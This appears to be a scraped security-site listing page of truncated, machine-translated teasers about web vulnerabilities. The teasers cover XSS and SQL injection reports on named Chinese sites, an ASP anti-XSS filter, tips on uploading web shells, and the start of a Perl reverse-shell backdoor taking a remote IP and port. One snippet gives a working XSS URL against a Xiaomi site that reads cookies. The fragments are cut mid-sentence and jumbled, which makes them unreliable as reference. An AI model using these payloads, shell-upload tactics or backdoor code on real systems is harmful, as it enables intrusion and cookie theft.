Cloud Security

The hash Collision Vulnerability has recently occurred in various languages. Including php, ruby, python, and java. Microsoft's. net is also affected.Hash collision principle:Hash is a type of output that converts an input of any length into an

'The anti-XSS injection function was updated on by evio'Compared with checkstr (), checkxss is more secure'*************************************Function Checkxss (byVal ChkStr)Dim StrStr = ChkStrIf IsNull (Str) ThenCheckStr = ""Exit FunctionEnd

When penetrating a website, I met a set of website programs commonly used by many enterprise websites, and I don't know who changed the copyright. I have seen such a website program before, and it is basically no difficulty to use SHELL. Why?

Brief description: Dangdang reflected xss, which allows users to obtain cookies.Detailed Description: One of the search keywords submitted by the user is directly output to the js Code section without filtering, resulting in injection of custom js

Brief description: MIUI mobile phone control-Xiaomi mobile phone xss VulnerabilityHttp://kong.miui.com/user_22710%22%20onerror=%22alert%28document.cookie%29%22Parameters are not filtered and referenced directly on the page.   Proof of vulnerability:

Title: PlumeCMS By Ivano Binetti (http://ivanobinetti.com): Http://sourceforge.net/projects/pxsystem/files/latest/download? Source = directoryDevelopment Site: http://pxsystem.sourceforge.net/Affected Versions: 1.2.4 latest and earlier versionsTest

It seems that the time has really passed quickly, and the computer is gone after one day. This is not the case, so I plan to take some time to write blogs and learn, and record my own growth.  Whether it is a programmer or a security engineer,

Today, wordpress has been infected with Trojans, which is incredible. The procedure is as follows: When I published an article in the evening, I suddenly thought of a solution for wordpress improvement. The picture/attachment is separated from the

Brief description:  There are multiple SQL injections in children's care network, which are not strictly filtered and user data is leaked.Detailed description:  Web Server: nginx/1.0.6 DB Server: MySQL Current DB: ad Http://a1.goodbaby.com/ad_alt_js.

Sina Weibo http://widget.weibo.com/live broadcast components under the XSS vulnerability.Detailed description: Live Video components are generally used by other websites, such as embedded   This page does not strictly filter the refer_content, so it

Sometimes it is in the background of the ewebeditor. After the upload type is modified, asp and asa can be uploaded. However, for some reason, the file cannot be uploaded, the file cannot be found, or the file cannot be displayed. Usage: Fill in the

Now I will summarize the following main types of code: for integer data, use intval to forcibly convert mysql to prevent injection before insertion. Generally, it is to submit (post or get) pages) the following two types of data are received: one is

1. Backdoor script on linux 1) Written in perl  Use strict;Use Socket;Use IO: Handle;If ($ # ARGV + 1! = 2 ){Print "$ # ARGV $0 Remote_IP Remote_Port \ n ";Exit 1;}My $ remote_ip = $ ARGV [0];My $ remote_port = $ ARGV [1];My $ proto = getprotobyname

The member release information is not filtered, and xss can be inserted directly.Register a user and go directly to the member management background Prerelease album Write  Then, wait for the Administrator to come up and the COOKIE will be

1. no matter what station, no matter what language, I want to penetrate, the first thing is to scan the directory, it is best to scan an upload point, directly upload the shell, don't laugh, sometimes it takes you a long time to build a website and

1: Code AnalysisAbout/index. php $ filpy = basename (dirname (_ FILE _); $ fmodule = 1; require_once '.. /include/module. php'; require_once $ module; the global variable overwrite mechanism combined with metinfo can include file testing: http: // w/

I accidentally saw this source code today. I just went over it. If you say this bad source code, you still encrypt it for domain name verification. If you want to verify it, you will also put a backdoor. How good is this, below is a simple look,

Many websites are indeed insecure. Therefore, when we browse some unfamiliar websites, we may be worried, this makes it necessary for us to master some methods to check whether the website is secure. On the other hand, if it is a webmaster, our own

Sina performs automatic authorization on some applications. The third-party application is not rigorous, causing the vulnerability to exist (this application seems to be officially released by Sina ). The Referer judgment is not rigorous. Could

Baidu does not know whether to filter and encode the question content in the search results. Users may be attacked by xss when viewing the results.The search results that Baidu Knows should reference questions and answers from other users. When